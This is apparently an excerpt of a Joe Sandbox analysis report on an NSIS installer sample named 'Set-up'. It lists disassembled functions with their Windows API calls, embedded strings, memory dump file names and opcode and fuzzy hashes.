ReachBeverageEuropeMarvel, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$ReachBeverageEuropeMarvel
API String ID: 1459762280-2246147706
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(00000000), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
ReachBeverageEuropeMarvel, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$ReachBeverageEuropeMarvel$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-107283310
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
